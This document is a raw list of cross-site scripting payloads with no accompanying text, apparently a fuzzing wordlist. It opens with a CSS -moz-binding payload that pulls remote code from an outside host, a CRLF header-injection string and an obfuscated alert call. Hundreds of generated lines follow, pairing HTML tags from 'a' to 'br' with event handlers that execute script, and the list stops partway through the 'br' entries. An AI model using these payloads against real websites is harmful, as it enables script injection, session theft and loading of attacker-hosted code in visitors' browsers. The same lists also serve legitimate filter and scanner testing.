" sstyle="foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxss.xml#xss)>foobar</b>#xss)" a="
%0aContent-Type:text/html%0a%0a%3cscript%3ealert(0)%3c/script%3ehttp://www.google.de/
c%00""<script>alert(0);</script>
BODY{-moz-binding:url("http://h4k.in/mozxss.xml%23xss")}
x=alert;x(%26%2340 /finally through!/.source %26%2341);
http://aa<script>alert(123)</script><a draggable="true" ondrag="alert(1)">test</a>
<a draggable="true" ondragend="alert(1)">test</a>
<a draggable="true" ondragenter="alert(1)">test</a>
<a draggable="true" ondragleave="alert(1)">test</a>
<a draggable="true" ondragstart="alert(1)">test</a>
<a id=x tabindex=1 onactivate=alert(1)></a>
<a id=x tabindex=1 onbeforeactivate=alert(1)></a>
<a id=x tabindex=1 onbeforedeactivate=alert(1)></a><input autofocus>
<a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y autofocus>
<a onbeforepaste="alert(1)" contenteditable>test</a>
<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>
<a onclick="alert(1)">test</a>
<a oncontextmenu="alert(1)">test</a>
<a oncopy="alert(1)" contenteditable>test</a>
<a oncut="alert(1)" contenteditable>test</a>
<a ondblclick="alert(1)">test</a>
<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>
<a onkeydown="alert(1)" contenteditable>test</a>
<a onkeypress="alert(1)" contenteditable>test</a>
<a onkeyup="alert(1)" contenteditable>test</a>
<a onmousedown="alert(1)">test</a>
<a onmouseenter="alert(1)">test</a>
<a onmouseleave="alert(1)">test</a>
<a onmousemove="alert(1)">test</a>
<a onmouseout="alert(1)">test</a>
<a onmouseover="alert(1)">test</a>
<a onmouseup="alert(1)">test</a>
<abbr draggable="true" ondrag="alert(1)">test</abbr>
<abbr draggable="true" ondragend="alert(1)">test</abbr>
<abbr draggable="true" ondragenter="alert(1)">test</abbr>
<abbr draggable="true" ondragleave="alert(1)">test</abbr>
<abbr draggable="true" ondragstart="alert(1)">test</abbr>
<abbr id=x tabindex=1 onactivate=alert(1)></abbr>
<abbr id=x tabindex=1 onbeforeactivate=alert(1)></abbr>
<abbr id=x tabindex=1 onbeforedeactivate=alert(1)></abbr><input autofocus>
<abbr id=x tabindex=1 ondeactivate=alert(1)></abbr><input id=y autofocus>
<abbr onbeforepaste="alert(1)" contenteditable>test</abbr>
<abbr onblur=alert(1) tabindex=1 id=x></abbr><input autofocus>
<abbr onclick="alert(1)">test</abbr>
<abbr oncontextmenu="alert(1)">test</abbr>
<abbr oncopy="alert(1)" contenteditable>test</abbr>
<abbr oncut="alert(1)" contenteditable>test</abbr>
<abbr ondblclick="alert(1)">test</abbr>
<abbr onfocusout=alert(1) tabindex=1 id=x></abbr><input autofocus>
<abbr onkeydown="alert(1)" contenteditable>test</abbr>
<abbr onkeypress="alert(1)" contenteditable>test</abbr>
<abbr onkeyup="alert(1)" contenteditable>test</abbr>
<abbr onmousedown="alert(1)">test</abbr>
<abbr onmouseenter="alert(1)">test</abbr>
<abbr onmouseleave="alert(1)">test</abbr>
<abbr onmousemove="alert(1)">test</abbr>
<abbr onmouseout="alert(1)">test</abbr>
<abbr onmouseover="alert(1)">test</abbr>
<abbr onmouseup="alert(1)">test</abbr>
<acronym draggable="true" ondrag="alert(1)">test</acronym>
<acronym draggable="true" ondragend="alert(1)">test</acronym>
<acronym draggable="true" ondragenter="alert(1)">test</acronym>
<acronym draggable="true" ondragleave="alert(1)">test</acronym>
<acronym draggable="true" ondragstart="alert(1)">test</acronym>
<acronym id=x tabindex=1 onactivate=alert(1)></acronym>
<acronym id=x tabindex=1 onbeforeactivate=alert(1)></acronym>
<acronym id=x tabindex=1 onbeforedeactivate=alert(1)></acronym><input autofocus>
<acronym id=x tabindex=1 ondeactivate=alert(1)></acronym><input id=y autofocus>
<acronym onbeforepaste="alert(1)" contenteditable>test</acronym>
<acronym onblur=alert(1) tabindex=1 id=x></acronym><input autofocus>
<acronym onclick="alert(1)">test</acronym>
<acronym oncontextmenu="alert(1)">test</acronym>
<acronym oncopy="alert(1)" contenteditable>test</acronym>
<acronym oncut="alert(1)" contenteditable>test</acronym>
<acronym ondblclick="alert(1)">test</acronym>
<acronym onfocusout=alert(1) tabindex=1 id=x></acronym><input autofocus>
<acronym onkeydown="alert(1)" contenteditable>test</acronym>
<acronym onkeypress="alert(1)" contenteditable>test</acronym>
<acronym onkeyup="alert(1)" contenteditable>test</acronym>
<acronym onmousedown="alert(1)">test</acronym>
<acronym onmouseenter="alert(1)">test</acronym>
<acronym onmouseleave="alert(1)">test</acronym>
<acronym onmousemove="alert(1)">test</acronym>
<acronym onmouseout="alert(1)">test</acronym>
<acronym onmouseover="alert(1)">test</acronym>
<acronym onmouseup="alert(1)">test</acronym>
<address draggable="true" ondrag="alert(1)">test</address>
<address draggable="true" ondragend="alert(1)">test</address>
<address draggable="true" ondragenter="alert(1)">test</address>
<address draggable="true" ondragleave="alert(1)">test</address>
<address draggable="true" ondragstart="alert(1)">test</address>
<address id=x tabindex=1 onactivate=alert(1)></address>
<address id=x tabindex=1 onbeforeactivate=alert(1)></address>
<address id=x tabindex=1 onbeforedeactivate=alert(1)></address><input autofocus>
<address id=x tabindex=1 ondeactivate=alert(1)></address><input id=y autofocus>
<address onbeforepaste="alert(1)" contenteditable>test</address>
<address onblur=alert(1) tabindex=1 id=x></address><input autofocus>
<address onclick="alert(1)">test</address>
<address oncontextmenu="alert(1)">test</address>
<address oncopy="alert(1)" contenteditable>test</address>
<address oncut="alert(1)" contenteditable>test</address>
<address ondblclick="alert(1)">test</address>
<address onfocusout=alert(1) tabindex=1 id=x></address><input autofocus>
<address onkeydown="alert(1)" contenteditable>test</address>
<address onkeypress="alert(1)" contenteditable>test</address>
<address onkeyup="alert(1)" contenteditable>test</address>
<address onmousedown="alert(1)">test</address>
<address onmouseenter="alert(1)">test</address>
<address onmouseleave="alert(1)">test</address>
<address onmousemove="alert(1)">test</address>
<address onmouseout="alert(1)">test</address>
<address onmouseover="alert(1)">test</address>
<address onmouseup="alert(1)">test</address>
<applet draggable="true" ondrag="alert(1)">test</applet>
<applet draggable="true" ondragend="alert(1)">test</applet>
<applet draggable="true" ondragenter="alert(1)">test</applet>
<applet draggable="true" ondragleave="alert(1)">test</applet>
<applet draggable="true" ondragstart="alert(1)">test</applet>
<applet id=x tabindex=1 onactivate=alert(1)></applet>
<applet id=x tabindex=1 onbeforeactivate=alert(1)></applet>
<applet id=x tabindex=1 onbeforedeactivate=alert(1)></applet><input autofocus>
<applet id=x tabindex=1 ondeactivate=alert(1)></applet><input id=y autofocus>
<applet onbeforepaste="alert(1)" contenteditable>test</applet>
<applet onblur=alert(1) tabindex=1 id=x></applet><input autofocus>
<applet onclick="alert(1)">test</applet>
<applet oncontextmenu="alert(1)">test</applet>
<applet oncopy="alert(1)" contenteditable>test</applet>
<applet oncut="alert(1)" contenteditable>test</applet>
<applet ondblclick="alert(1)">test</applet>
<applet onfocusout=alert(1) tabindex=1 id=x></applet><input autofocus>
<applet onkeydown="alert(1)" contenteditable>test</applet>
<applet onkeypress="alert(1)" contenteditable>test</applet>
<applet onkeyup="alert(1)" contenteditable>test</applet>
<applet onmousedown="alert(1)">test</applet>
<applet onmouseenter="alert(1)">test</applet>
<applet onmouseleave="alert(1)">test</applet>
<applet onmousemove="alert(1)">test</applet>
<applet onmouseout="alert(1)">test</applet>
<applet onmouseover="alert(1)">test</applet>
<applet onmouseup="alert(1)">test</applet>
<applet onreadystatechange=alert(1)></applet>
<area draggable="true" ondrag="alert(1)">test</area>
<area draggable="true" ondragend="alert(1)">test</area>
<area draggable="true" ondragenter="alert(1)">test</area>
<area draggable="true" ondragleave="alert(1)">test</area>
<area draggable="true" ondragstart="alert(1)">test</area>
<area id=x tabindex=1 onactivate=alert(1)></area>
<area id=x tabindex=1 onbeforeactivate=alert(1)></area>
<area id=x tabindex=1 onbeforedeactivate=alert(1)></area><input autofocus>
<area id=x tabindex=1 ondeactivate=alert(1)></area><input id=y autofocus>
<area onbeforepaste="alert(1)" contenteditable>test</area>
<area onblur=alert(1) tabindex=1 id=x></area><input autofocus>
<area onclick="alert(1)">test</area>
<area oncontextmenu="alert(1)">test</area>
<area oncopy="alert(1)" contenteditable>test</area>
<area oncut="alert(1)" contenteditable>test</area>
<area ondblclick="alert(1)">test</area>
<area onfocusout=alert(1) tabindex=1 id=x></area><input autofocus>
<area onkeydown="alert(1)" contenteditable>test</area>
<area onkeypress="alert(1)" contenteditable>test</area>
<area onkeyup="alert(1)" contenteditable>test</area>
<area onmousedown="alert(1)">test</area>
<area onmouseenter="alert(1)">test</area>
<area onmouseleave="alert(1)">test</area>
<area onmousemove="alert(1)">test</area>
<area onmouseout="alert(1)">test</area>
<area onmouseover="alert(1)">test</area>
<area onmouseup="alert(1)">test</area>
<article draggable="true" ondrag="alert(1)">test</article>
<article draggable="true" ondragend="alert(1)">test</article>
<article draggable="true" ondragenter="alert(1)">test</article>
<article draggable="true" ondragleave="alert(1)">test</article>
<article draggable="true" ondragstart="alert(1)">test</article>
<article id=x tabindex=1 onactivate=alert(1)></article>
<article id=x tabindex=1 onbeforeactivate=alert(1)></article>
<article id=x tabindex=1 onbeforedeactivate=alert(1)></article><input autofocus>
<article id=x tabindex=1 ondeactivate=alert(1)></article><input id=y autofocus>
<article onbeforepaste="alert(1)" contenteditable>test</article>
<article onblur=alert(1) tabindex=1 id=x></article><input autofocus>
<article onclick="alert(1)">test</article>
<article oncontextmenu="alert(1)">test</article>
<article oncopy="alert(1)" contenteditable>test</article>
<article oncut="alert(1)" contenteditable>test</article>
<article ondblclick="alert(1)">test</article>
<article onfocusout=alert(1) tabindex=1 id=x></article><input autofocus>
<article onkeydown="alert(1)" contenteditable>test</article>
<article onkeypress="alert(1)" contenteditable>test</article>
<article onkeyup="alert(1)" contenteditable>test</article>
<article onmousedown="alert(1)">test</article>
<article onmouseenter="alert(1)">test</article>
<article onmouseleave="alert(1)">test</article>
<article onmousemove="alert(1)">test</article>
<article onmouseout="alert(1)">test</article>
<article onmouseover="alert(1)">test</article>
<article onmouseup="alert(1)">test</article>
<aside draggable="true" ondrag="alert(1)">test</aside>
<aside draggable="true" ondragend="alert(1)">test</aside>
<aside draggable="true" ondragenter="alert(1)">test</aside>
<aside draggable="true" ondragleave="alert(1)">test</aside>
<aside draggable="true" ondragstart="alert(1)">test</aside>
<aside id=x tabindex=1 onactivate=alert(1)></aside>
<aside id=x tabindex=1 onbeforeactivate=alert(1)></aside>
<aside id=x tabindex=1 onbeforedeactivate=alert(1)></aside><input autofocus>
<aside id=x tabindex=1 ondeactivate=alert(1)></aside><input id=y autofocus>
<aside onbeforepaste="alert(1)" contenteditable>test</aside>
<aside onblur=alert(1) tabindex=1 id=x></aside><input autofocus>
<aside onclick="alert(1)">test</aside>
<aside oncontextmenu="alert(1)">test</aside>
<aside oncopy="alert(1)" contenteditable>test</aside>
<aside oncut="alert(1)" contenteditable>test</aside>
<aside ondblclick="alert(1)">test</aside>
<aside onfocusout=alert(1) tabindex=1 id=x></aside><input autofocus>
<aside onkeydown="alert(1)" contenteditable>test</aside>
<aside onkeypress="alert(1)" contenteditable>test</aside>
<aside onkeyup="alert(1)" contenteditable>test</aside>
<aside onmousedown="alert(1)">test</aside>
<aside onmouseenter="alert(1)">test</aside>
<aside onmouseleave="alert(1)">test</aside>
<aside onmousemove="alert(1)">test</aside>
<aside onmouseout="alert(1)">test</aside>
<aside onmouseover="alert(1)">test</aside>
<aside onmouseup="alert(1)">test</aside>
<audio draggable="true" ondrag="alert(1)">test</audio>
<audio draggable="true" ondragend="alert(1)">test</audio>
<audio draggable="true" ondragenter="alert(1)">test</audio>
<audio draggable="true" ondragleave="alert(1)">test</audio>
<audio draggable="true" ondragstart="alert(1)">test</audio>
<audio id=x tabindex=1 onactivate=alert(1)></audio>
<audio id=x tabindex=1 onbeforeactivate=alert(1)></audio>
<audio id=x tabindex=1 onbeforedeactivate=alert(1)></audio><input autofocus>
<audio id=x tabindex=1 ondeactivate=alert(1)></audio><input id=y autofocus>
<audio onbeforepaste="alert(1)" contenteditable>test</audio>
<audio onblur=alert(1) tabindex=1 id=x></audio><input autofocus>
<audio onclick="alert(1)">test</audio>
<audio oncontextmenu="alert(1)">test</audio>
<audio oncopy="alert(1)" contenteditable>test</audio>
<audio oncut="alert(1)" contenteditable>test</audio>
<audio ondblclick="alert(1)">test</audio>
<audio onfocusout=alert(1) tabindex=1 id=x></audio><input autofocus>
<audio onkeydown="alert(1)" contenteditable>test</audio>
<audio onkeypress="alert(1)" contenteditable>test</audio>
<audio onkeyup="alert(1)" contenteditable>test</audio>
<audio onmousedown="alert(1)">test</audio>
<audio onmouseenter="alert(1)">test</audio>
<audio onmouseleave="alert(1)">test</audio>
<audio onmousemove="alert(1)">test</audio>
<audio onmouseout="alert(1)">test</audio>
<audio onmouseover="alert(1)">test</audio>
<audio onmouseup="alert(1)">test</audio>
<b draggable="true" ondrag="alert(1)">test</b>
<b draggable="true" ondragend="alert(1)">test</b>
<b draggable="true" ondragenter="alert(1)">test</b>
<b draggable="true" ondragleave="alert(1)">test</b>
<b draggable="true" ondragstart="alert(1)">test</b>
<b id=x tabindex=1 onactivate=alert(1)></b>
<b id=x tabindex=1 onbeforeactivate=alert(1)></b>
<b id=x tabindex=1 onbeforedeactivate=alert(1)></b><input autofocus>
<b id=x tabindex=1 ondeactivate=alert(1)></b><input id=y autofocus>
<b onbeforepaste="alert(1)" contenteditable>test</b>
<b onblur=alert(1) tabindex=1 id=x></b><input autofocus>
<b onclick="alert(1)">test</b>
<b oncontextmenu="alert(1)">test</b>
<b oncopy="alert(1)" contenteditable>test</b>
<b oncut="alert(1)" contenteditable>test</b>
<b ondblclick="alert(1)">test</b>
<b onfocusout=alert(1) tabindex=1 id=x></b><input autofocus>
<b onkeydown="alert(1)" contenteditable>test</b>
<b onkeypress="alert(1)" contenteditable>test</b>
<b onkeyup="alert(1)" contenteditable>test</b>
<b onmousedown="alert(1)">test</b>
<b onmouseenter="alert(1)">test</b>
<b onmouseleave="alert(1)">test</b>
<b onmousemove="alert(1)">test</b>
<b onmouseout="alert(1)">test</b>
<b onmouseover="alert(1)">test</b>
<b onmouseup="alert(1)">test</b>
<base draggable="true" ondrag="alert(1)">test</base>
<base draggable="true" ondragend="alert(1)">test</base>
<base draggable="true" ondragenter="alert(1)">test</base>
<base draggable="true" ondragleave="alert(1)">test</base>
<base draggable="true" ondragstart="alert(1)">test</base>
<base id=x tabindex=1 onactivate=alert(1)></base>
<base id=x tabindex=1 onbeforeactivate=alert(1)></base>
<base id=x tabindex=1 onbeforedeactivate=alert(1)></base><input autofocus>
<base id=x tabindex=1 ondeactivate=alert(1)></base><input id=y autofocus>
<base id=x tabindex=1 onfocus=alert(1)></base>
<base id=x tabindex=1 onfocusin=alert(1)></base>
<base onbeforecopy="alert(1)" contenteditable>test</base>
<base onbeforecut="alert(1)" contenteditable>test</base>
<base onbeforepaste="alert(1)" contenteditable>test</base>
<base onblur=alert(1) tabindex=1 id=x></base><input autofocus>
<base onclick="alert(1)">test</base>
<base oncontextmenu="alert(1)">test</base>
<base oncopy="alert(1)" contenteditable>test</base>
<base oncut="alert(1)" contenteditable>test</base>
<base ondblclick="alert(1)">test</base>
<base onfocusout=alert(1) tabindex=1 id=x></base><input autofocus>
<base onkeydown="alert(1)" contenteditable>test</base>
<base onkeypress="alert(1)" contenteditable>test</base>
<base onkeyup="alert(1)" contenteditable>test</base>
<base onmousedown="alert(1)">test</base>
<base onmouseenter="alert(1)">test</base>
<base onmouseleave="alert(1)">test</base>
<base onmousemove="alert(1)">test</base>
<base onmouseout="alert(1)">test</base>
<base onmouseover="alert(1)">test</base>
<base onmouseup="alert(1)">test</base>
<base onpaste="alert(1)" contenteditable>test</base>
<basefont draggable="true" ondrag="alert(1)">test</basefont>
<basefont draggable="true" ondragend="alert(1)">test</basefont>
<basefont draggable="true" ondragenter="alert(1)">test</basefont>
<basefont draggable="true" ondragleave="alert(1)">test</basefont>
<basefont draggable="true" ondragstart="alert(1)">test</basefont>
<basefont id=x tabindex=1 onactivate=alert(1)></basefont>
<basefont id=x tabindex=1 onbeforeactivate=alert(1)></basefont>
<basefont id=x tabindex=1 onbeforedeactivate=alert(1)></basefont><input autofocus>
<basefont id=x tabindex=1 ondeactivate=alert(1)></basefont><input id=y autofocus>
<basefont id=x tabindex=1 onfocus=alert(1)></basefont>
<basefont id=x tabindex=1 onfocusin=alert(1)></basefont>
<basefont onbeforecopy="alert(1)" contenteditable>test</basefont>
<basefont onbeforecut="alert(1)" contenteditable>test</basefont>
<basefont onbeforepaste="alert(1)" contenteditable>test</basefont>
<basefont onblur=alert(1) tabindex=1 id=x></basefont><input autofocus>
<basefont onclick="alert(1)">test</basefont>
<basefont oncontextmenu="alert(1)">test</basefont>
<basefont oncopy="alert(1)" contenteditable>test</basefont>
<basefont oncut="alert(1)" contenteditable>test</basefont>
<basefont ondblclick="alert(1)">test</basefont>
<basefont onfocusout=alert(1) tabindex=1 id=x></basefont><input autofocus>
<basefont onkeydown="alert(1)" contenteditable>test</basefont>
<basefont onkeypress="alert(1)" contenteditable>test</basefont>
<basefont onkeyup="alert(1)" contenteditable>test</basefont>
<basefont onmousedown="alert(1)">test</basefont>
<basefont onmouseenter="alert(1)">test</basefont>
<basefont onmouseleave="alert(1)">test</basefont>
<basefont onmousemove="alert(1)">test</basefont>
<basefont onmouseout="alert(1)">test</basefont>
<basefont onmouseover="alert(1)">test</basefont>
<basefont onmouseup="alert(1)">test</basefont>
<basefont onpaste="alert(1)" contenteditable>test</basefont>
<bdi draggable="true" ondrag="alert(1)">test</bdi>
<bdi draggable="true" ondragend="alert(1)">test</bdi>
<bdi draggable="true" ondragenter="alert(1)">test</bdi>
<bdi draggable="true" ondragleave="alert(1)">test</bdi>
<bdi draggable="true" ondragstart="alert(1)">test</bdi>
<bdi id=x tabindex=1 onactivate=alert(1)></bdi>
<bdi id=x tabindex=1 onbeforeactivate=alert(1)></bdi>
<bdi id=x tabindex=1 onbeforedeactivate=alert(1)></bdi><input autofocus>
<bdi id=x tabindex=1 ondeactivate=alert(1)></bdi><input id=y autofocus>
<bdi onbeforepaste="alert(1)" contenteditable>test</bdi>
<bdi onblur=alert(1) tabindex=1 id=x></bdi><input autofocus>
<bdi onclick="alert(1)">test</bdi>
<bdi oncontextmenu="alert(1)">test</bdi>
<bdi oncopy="alert(1)" contenteditable>test</bdi>
<bdi oncut="alert(1)" contenteditable>test</bdi>
<bdi ondblclick="alert(1)">test</bdi>
<bdi onfocusout=alert(1) tabindex=1 id=x></bdi><input autofocus>
<bdi onkeydown="alert(1)" contenteditable>test</bdi>
<bdi onkeypress="alert(1)" contenteditable>test</bdi>
<bdi onkeyup="alert(1)" contenteditable>test</bdi>
<bdi onmousedown="alert(1)">test</bdi>
<bdi onmouseenter="alert(1)">test</bdi>
<bdi onmouseleave="alert(1)">test</bdi>
<bdi onmousemove="alert(1)">test</bdi>
<bdi onmouseout="alert(1)">test</bdi>
<bdi onmouseover="alert(1)">test</bdi>
<bdi onmouseup="alert(1)">test</bdi>
<bdo draggable="true" ondrag="alert(1)">test</bdo>
<bdo draggable="true" ondragend="alert(1)">test</bdo>
<bdo draggable="true" ondragenter="alert(1)">test</bdo>
<bdo draggable="true" ondragleave="alert(1)">test</bdo>
<bdo draggable="true" ondragstart="alert(1)">test</bdo>
<bdo id=x tabindex=1 onactivate=alert(1)></bdo>
<bdo id=x tabindex=1 onbeforeactivate=alert(1)></bdo>
<bdo id=x tabindex=1 onbeforedeactivate=alert(1)></bdo><input autofocus>
<bdo id=x tabindex=1 ondeactivate=alert(1)></bdo><input id=y autofocus>
<bdo onbeforepaste="alert(1)" contenteditable>test</bdo>
<bdo onblur=alert(1) tabindex=1 id=x></bdo><input autofocus>
<bdo onclick="alert(1)">test</bdo>
<bdo oncontextmenu="alert(1)">test</bdo>
<bdo oncopy="alert(1)" contenteditable>test</bdo>
<bdo oncut="alert(1)" contenteditable>test</bdo>
<bdo ondblclick="alert(1)">test</bdo>
<bdo onfocusout=alert(1) tabindex=1 id=x></bdo><input autofocus>
<bdo onkeydown="alert(1)" contenteditable>test</bdo>
<bdo onkeypress="alert(1)" contenteditable>test</bdo>
<bdo onkeyup="alert(1)" contenteditable>test</bdo>
<bdo onmousedown="alert(1)">test</bdo>
<bdo onmouseenter="alert(1)">test</bdo>
<bdo onmouseleave="alert(1)">test</bdo>
<bdo onmousemove="alert(1)">test</bdo>
<bdo onmouseout="alert(1)">test</bdo>
<bdo onmouseover="alert(1)">test</bdo>
<bdo onmouseup="alert(1)">test</bdo>
<bgsound draggable="true" ondrag="alert(1)">test</bgsound>
<bgsound draggable="true" ondragend="alert(1)">test</bgsound>
<bgsound draggable="true" ondragenter="alert(1)">test</bgsound>
<bgsound draggable="true" ondragleave="alert(1)">test</bgsound>
<bgsound draggable="true" ondragstart="alert(1)">test</bgsound>
<bgsound id=x tabindex=1 onactivate=alert(1)></bgsound>
<bgsound id=x tabindex=1 onbeforeactivate=alert(1)></bgsound>
<bgsound id=x tabindex=1 onbeforedeactivate=alert(1)></bgsound><input autofocus>
<bgsound id=x tabindex=1 ondeactivate=alert(1)></bgsound><input id=y autofocus>
<bgsound id=x tabindex=1 onfocus=alert(1)></bgsound>
<bgsound id=x tabindex=1 onfocusin=alert(1)></bgsound>
<bgsound onbeforecopy="alert(1)" contenteditable>test</bgsound>
<bgsound onbeforecut="alert(1)" contenteditable>test</bgsound>
<bgsound onbeforepaste="alert(1)" contenteditable>test</bgsound>
<bgsound onblur=alert(1) tabindex=1 id=x></bgsound><input autofocus>
<bgsound onclick="alert(1)">test</bgsound>
<bgsound oncontextmenu="alert(1)">test</bgsound>
<bgsound oncopy="alert(1)" contenteditable>test</bgsound>
<bgsound oncut="alert(1)" contenteditable>test</bgsound>
<bgsound ondblclick="alert(1)">test</bgsound>
<bgsound onfocusout=alert(1) tabindex=1 id=x></bgsound><input autofocus>
<bgsound onkeydown="alert(1)" contenteditable>test</bgsound>
<bgsound onkeypress="alert(1)" contenteditable>test</bgsound>
<bgsound onkeyup="alert(1)" contenteditable>test</bgsound>
<bgsound onmousedown="alert(1)">test</bgsound>
<bgsound onmouseenter="alert(1)">test</bgsound>
<bgsound onmouseleave="alert(1)">test</bgsound>
<bgsound onmousemove="alert(1)">test</bgsound>
<bgsound onmouseout="alert(1)">test</bgsound>
<bgsound onmouseover="alert(1)">test</bgsound>
<bgsound onmouseup="alert(1)">test</bgsound>
<bgsound onpaste="alert(1)" contenteditable>test</bgsound>
<big draggable="true" ondrag="alert(1)">test</big>
<big draggable="true" ondragend="alert(1)">test</big>
<big draggable="true" ondragenter="alert(1)">test</big>
<big draggable="true" ondragleave="alert(1)">test</big>
<big draggable="true" ondragstart="alert(1)">test</big>
<big id=x tabindex=1 onactivate=alert(1)></big>
<big id=x tabindex=1 onbeforeactivate=alert(1)></big>
<big id=x tabindex=1 onbeforedeactivate=alert(1)></big><input autofocus>
<big id=x tabindex=1 ondeactivate=alert(1)></big><input id=y autofocus>
<big onbeforepaste="alert(1)" contenteditable>test</big>
<big onblur=alert(1) tabindex=1 id=x></big><input autofocus>
<big onclick="alert(1)">test</big>
<big oncontextmenu="alert(1)">test</big>
<big oncopy="alert(1)" contenteditable>test</big>
<big oncut="alert(1)" contenteditable>test</big>
<big ondblclick="alert(1)">test</big>
<big onfocusout=alert(1) tabindex=1 id=x></big><input autofocus>
<big onkeydown="alert(1)" contenteditable>test</big>
<big onkeypress="alert(1)" contenteditable>test</big>
<big onkeyup="alert(1)" contenteditable>test</big>
<big onmousedown="alert(1)">test</big>
<big onmouseenter="alert(1)">test</big>
<big onmouseleave="alert(1)">test</big>
<big onmousemove="alert(1)">test</big>
<big onmouseout="alert(1)">test</big>
<big onmouseover="alert(1)">test</big>
<big onmouseup="alert(1)">test</big>
<blink draggable="true" ondrag="alert(1)">test</blink>
<blink draggable="true" ondragend="alert(1)">test</blink>
<blink draggable="true" ondragenter="alert(1)">test</blink>
<blink draggable="true" ondragleave="alert(1)">test</blink>
<blink draggable="true" ondragstart="alert(1)">test</blink>
<blink id=x tabindex=1 onactivate=alert(1)></blink>
<blink id=x tabindex=1 onbeforeactivate=alert(1)></blink>
<blink id=x tabindex=1 onbeforedeactivate=alert(1)></blink><input autofocus>
<blink id=x tabindex=1 ondeactivate=alert(1)></blink><input id=y autofocus>
<blink onbeforepaste="alert(1)" contenteditable>test</blink>
<blink onblur=alert(1) tabindex=1 id=x></blink><input autofocus>
<blink onclick="alert(1)">test</blink>
<blink oncontextmenu="alert(1)">test</blink>
<blink oncopy="alert(1)" contenteditable>test</blink>
<blink oncut="alert(1)" contenteditable>test</blink>
<blink ondblclick="alert(1)">test</blink>
<blink onfocusout=alert(1) tabindex=1 id=x></blink><input autofocus>
<blink onkeydown="alert(1)" contenteditable>test</blink>
<blink onkeypress="alert(1)" contenteditable>test</blink>
<blink onkeyup="alert(1)" contenteditable>test</blink>
<blink onmousedown="alert(1)">test</blink>
<blink onmouseenter="alert(1)">test</blink>
<blink onmouseleave="alert(1)">test</blink>
<blink onmousemove="alert(1)">test</blink>
<blink onmouseout="alert(1)">test</blink>
<blink onmouseover="alert(1)">test</blink>
<blink onmouseup="alert(1)">test</blink>
<blockquote draggable="true" ondrag="alert(1)">test</blockquote>
<blockquote draggable="true" ondragend="alert(1)">test</blockquote>
<blockquote draggable="true" ondragenter="alert(1)">test</blockquote>
<blockquote draggable="true" ondragleave="alert(1)">test</blockquote>
<blockquote draggable="true" ondragstart="alert(1)">test</blockquote>
<blockquote id=x tabindex=1 onactivate=alert(1)></blockquote>
<blockquote id=x tabindex=1 onbeforeactivate=alert(1)></blockquote>
<blockquote id=x tabindex=1 onbeforedeactivate=alert(1)></blockquote><input autofocus>
<blockquote id=x tabindex=1 ondeactivate=alert(1)></blockquote><input id=y autofocus>
<blockquote onbeforepaste="alert(1)" contenteditable>test</blockquote>
<blockquote onblur=alert(1) tabindex=1 id=x></blockquote><input autofocus>
<blockquote onclick="alert(1)">test</blockquote>
<blockquote oncontextmenu="alert(1)">test</blockquote>
<blockquote oncopy="alert(1)" contenteditable>test</blockquote>
<blockquote oncut="alert(1)" contenteditable>test</blockquote>
<blockquote ondblclick="alert(1)">test</blockquote>
<blockquote onfocusout=alert(1) tabindex=1 id=x></blockquote><input autofocus>
<blockquote onkeydown="alert(1)" contenteditable>test</blockquote>
<blockquote onkeypress="alert(1)" contenteditable>test</blockquote>
<blockquote onkeyup="alert(1)" contenteditable>test</blockquote>
<blockquote onmousedown="alert(1)">test</blockquote>
<blockquote onmouseenter="alert(1)">test</blockquote>
<blockquote onmouseleave="alert(1)">test</blockquote>
<blockquote onmousemove="alert(1)">test</blockquote>
<blockquote onmouseout="alert(1)">test</blockquote>
<blockquote onmouseover="alert(1)">test</blockquote>
<blockquote onmouseup="alert(1)">test</blockquote>
<body draggable="true" ondrag="alert(1)">test</body>
<body draggable="true" ondragend="alert(1)">test</body>
<body draggable="true" ondragenter="alert(1)">test</body>
<body draggable="true" ondragleave="alert(1)">test</body>
<body draggable="true" ondragstart="alert(1)">test</body>
<body id=x tabindex=1 onactivate=alert(1)></body>
<body id=x tabindex=1 onbeforeactivate=alert(1)></body>
<body id=x tabindex=1 onbeforedeactivate=alert(1)></body><input autofocus>
<body id=x tabindex=1 ondeactivate=alert(1)></body><input id=y autofocus>
<body onbeforepaste="alert(1)" contenteditable>test</body>
<body onbeforeprint=alert(1)>
<body onbeforeunload="location='javascript:alert(1)'">
<body onblur=alert(1) id=x><iframe id=x>
<body onclick="alert(1)">test</body>
<body oncontextmenu="alert(1)">test</body>
<body oncopy="alert(1)" contenteditable>test</body>
<body oncut="alert(1)" contenteditable>test</body>
<body ondblclick="alert(1)">test</body>
<body onfocusout=alert(1) id=x><iframe id=x>
<body onhashchange="alert(1)">
<body onkeydown="alert(1)" contenteditable>test</body>
<body onkeypress="alert(1)" contenteditable>test</body>
<body onkeyup="alert(1)" contenteditable>test</body>
<body onmessage=alert(1)>
<body onmousedown="alert(1)">test</body>
<body onmouseenter="alert(1)">test</body>
<body onmouseleave="alert(1)">test</body>
<body onmousemove="alert(1)">test</body>
<body onmouseout="alert(1)">test</body>
<body onmouseover="alert(1)">test</body>
<body onmouseup="alert(1)">test</body>
<body onpopstate=alert(1)>
<body onresize="alert(1)">
<br draggable="true" ondrag="alert(1)">test</br>
<br draggable="true" ondragend="alert(1)">test</br>
<br draggable="true" ondragenter="alert(1)">test</br>
<br draggable="true" ondragleave="alert(1)">test</br>
<br draggable="true" ondragstart="alert(1)">test</br>
<br id=x tabindex=1 onactivate=alert(1)></br>
<br id=x tabindex=1 onbeforeactivate=alert(1)></br>
<br id=x tabindex=1 onbeforedeactivate=alert(1)></br><input autofocus>
<br id=x tabindex=1 ondeactivate=alert(1)></br><input id=y autofocus>
<br onbeforepaste="alert(1)" contenteditable>test</br>
<br onblur=alert(1) tabindex=1 id=x></br><input autofocus>
<br onclick="alert(1)">test</br>
<br oncontextmenu="alert(1)">test</br>
<br oncopy="alert(1)" contenteditable>test</br>
<br oncut="alert(1)" contenteditable>test</br>
<br ondblclick="alert(1)">test</br>
<br onfocusout=alert(1) tabindex=1 id=x></br><input autofocus>
<br onkeydown="alert(1)" contenteditable>test</br>
<br onkeypress="alert(1)" contenteditable>test</br>
<br onkeyup="alert(1)" contenteditable>test</br>
<br onmousedown="alert(1)">test</br>
<br onmouseenter="alert(1)">test</br>
<br onmouseleave="alert(1)">test</br>
<br onmousemove="alert(1)">test</br>
<br onmouseout="alert(1)">test</br>
<br onmouseover="alert(1)">test</br>
